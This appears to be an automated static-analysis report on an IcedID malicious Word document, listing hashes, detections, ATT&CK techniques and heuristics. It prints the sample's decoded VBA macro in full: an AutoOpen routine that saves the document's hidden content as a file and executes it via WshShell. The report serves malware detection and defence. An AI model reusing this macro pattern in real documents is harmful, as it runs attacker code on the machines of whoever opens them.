IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 f8317238fe63c3cf…

MALICIOUS

Office (OOXML)

31.2 KB Created: 2021-10-15 09:52:00 UTC Authoring application: LibreOffice/6.0.7.3$Linux_X86_64 LibreOffice_project/00m0$Build-3 First seen: 2021-10-26
MD5: 0c51c04d6c9bd384e0ed1eeeaebfcbd5 SHA-1: 04f017abed9a15be02f2d5ea07ee30bedf94a5bf SHA-256: f8317238fe63c3cf72a0a5a7231c30fc5e80d27f8d75c8e7c5d275501aa3fd24
162 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro is designed to execute a second-stage payload by calling the 's' function, which in turn uses WshShell to run a file specified by the document's author property. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family, which commonly uses this download-and-execute pattern. The presence of the AutoOpen macro and the execution of an external file via WshShell are key indicators of this malicious behavior.

Heuristics 5

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/relationships In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 786 bytes
SHA-256: 02c4e3632de6c7ebcbf929da737f3b86a5b898946ccf83da0e101704961651b9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "func"
Public Function s(redLineCaroline)
Set myLine = New WshShell
myLine.run redLineCaroline
End Function

Attribute VB_Name = "main"
Public Sub autoopen()
Dim myYouLove As String
myYouLove = vbNullString
myIn = ActiveDocument.BuiltInDocumentProperties("author").Value
With ActiveDocument.Content.Find
.Execute FindText:="#)", ReplaceWith:=myYouLove, Replace:=wdReplaceAll
End With
ActiveDocument.SaveAs2 FileName:=myIn, FileFormat:=wdFormatText
s myIn
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: e8a00fa607fad03af680d8ea44228b7887cc48814241d1f8d04b9d1af1e5025e

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